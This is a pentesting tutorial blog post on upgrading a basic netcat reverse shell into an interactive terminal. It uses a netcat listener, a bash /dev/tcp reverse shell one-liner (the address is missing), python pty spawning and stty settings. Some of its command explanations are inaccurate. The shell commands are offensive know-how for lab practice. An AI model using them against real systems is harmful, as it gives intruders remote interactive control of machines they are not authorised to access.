upgrade to the intelligent shell

Upgrade to an intelligent reverse shell

netcat is a tool that allows us to read from and writing to network connections using TCP or UDP. Hence, this tool has come in handy whether we want to spawn a reverse shell or download a file if wget or curl isn’t available on the target. Likewise, this is also important to debug if the network connection has worked or not. Anyways, in the pentesters’ community, its major role is to avail them with the shell of the target machine either using a reverse connection or bind. However, there is a small drawback to this type of shell. That is, the shell is a very plain shell that doesn’t have any prompts or features like bash-completion. Hence, it is required to upgrade to an intelligent reverse shell than a dumb reverse shell.


Let’s take an example of a simple reverse shell. To demonstrate, I am going to different users’ shells. Here, my target is the root user, whereas the user kali will be the attacker who will have access to the reverse shell.

Since the attacking machine would listen to the reverse connection, in my case I would listen on the user kali’s shell.

nc -nlvp 9999

On the target machine, I would run the command that would connect to my reverse connection. Assuming that the target doesn’t have netcat installed, I would be connecting using bash as follows.

bash -c 'bash -i >& /dev/tcp/ 0>&1'

There are many techniques to spawn a reverse shell. Make sure to check https://www.revshells.com/ for getting shells in different languages.

I got the reverse shell. In my case, I got the pty (pseudo-terminal) directly.

You can see above some keys like arrows, delete, etc. would not give us the intended result. In real targets, we might not get the pseudo shell directly. So, it’s important to spawning one. There are several methods to do so but the method using python almost always works. Check this website for more details. https://netsec.ws/?p=337

Walkthrough of Prime 2 from Vulnhub

python3 -c 'import pty;pty.spawn("/bin/bash")'

Improve the pseudo-terminal

With the pseudo shell, we can see the prompts, but we still cannot use the arrow keys and the bash completions. The next thing would be improving the shell to match the settings with our screen or terminal. To do that we have to send the instance of the pseudo-terminal to the background. We can do this using “Ctrl+z”. Once we do that, we get out the original shell while the reverse shell is running in the background.

So, now we can check the tty settings of our shell. For that, we can open a new tab or use the existing one. However, we can experiment more on a different tab, I usually tend to do so. Furthermore, the suspended process doesn’t work on the different instances of the shell. Hence, it is important to not close the shell where we suspended the reverse shell.

In our usual shell, we can check the stty current values. stty is a program that allows to print or change the terminal characteristics.

stty -a

We get to see the values of the columns and rows. But this is only valid for this setting. Suppose, if you zoom in a little bit, it would change accordingly.

Likewise, if you resize the terminal or split the terminals, you would get a different result.

Hence, the values change as per the size of the terminal window. Since I normally zoom in for the purpose of writing walkthroughs, I would take the values of rows and columns of the zoomed-in terminal, i.e. rows 27 and columns 134.

In the terminal where the reverse shell is sent to the background, I am going to use some tty commands.

stty raw -echo;fg

You can check the manual page of stty to learn about the command. In short, “raw” is a command that is a combination of other commands that would ignore break characters, translate newline to carriage return, etc. Likewise, -echo would echo, i.e. display the entered characters. ‘fg’ brings the suspended process to the background.

Now, we have to reset this terminal.


Then if you haven’t exported the TERM variable before suspending the reverse shell, you get a prompt about the type of the terminal where we can type xterm or xterm-256color whichever one works or you prefer.

If you don’t want this prompt, then make sure you do the following before suspending the shell.

echo TERM=xterm

Anyway, we have to do set the variable TERM to xterm after the above procedure otherwise we cannot clear the screen.

Now, we can use the arrow keys and tab completions.

Using editors on the shell

Although the majority of the pain is solved up to here, there still requires improvement in the shell. This is because the number of rows and columns that we saw earlier is messed up for the shell. Hence, it’s important to set the same values that your local terminal has.

In my case, for the zoomed setting, I have rows=27 and columns=134.

stty rows 27 cols 134

Now, we can see that I got vim editor on the full screen. Suppose, I zoomed out a bit. Then, let’s see what happens.

I would still have the previous values in stty. Hence, the editor will have a smaller area than before.

Likewise, let’s say, I set the stty rows and columns value for the zoomed out state, i.e. rows=34 and columns=168. Then, I would get the vim editor on the full window, if I don’t change the zoom of my terminal.

stty rows 34 cols 168

But if I zoom in a bit, then it will be messed up once again.

Therefore, we have to make sure that we don’t zoom in if we have used the values of the zoomed-out terminal. Unline the case in our local terminal, the value of rows and columns don’t change in the reverse shell using this method. However, if we have used the rows and columns of a zoomed-in shell, we can use those in the zoomed-out shell. But, it will cover less portion of the screen but won’t hinder the UI much.

Nevertheless, it is better to use accurate values. Otherwise, we would notice some weird displays while doing commands like ls.


The upgrading to the proper shell is important because we might be using binaries that we might have to suspend. For instance, if we are using pspy and we want to exit from the binary, we have to use the break command i.e. Ctrl+c. If we don’t upgrade, then it would end the process of the reverse shell. Then, we have to redo the process of spawning the shell. Hence, if it allows, it’s the best option to upgrade the shell.

5 3 votes
Article Rating
Notify of
1 Comment
Newest Most Voted
Inline Feedbacks
View all comments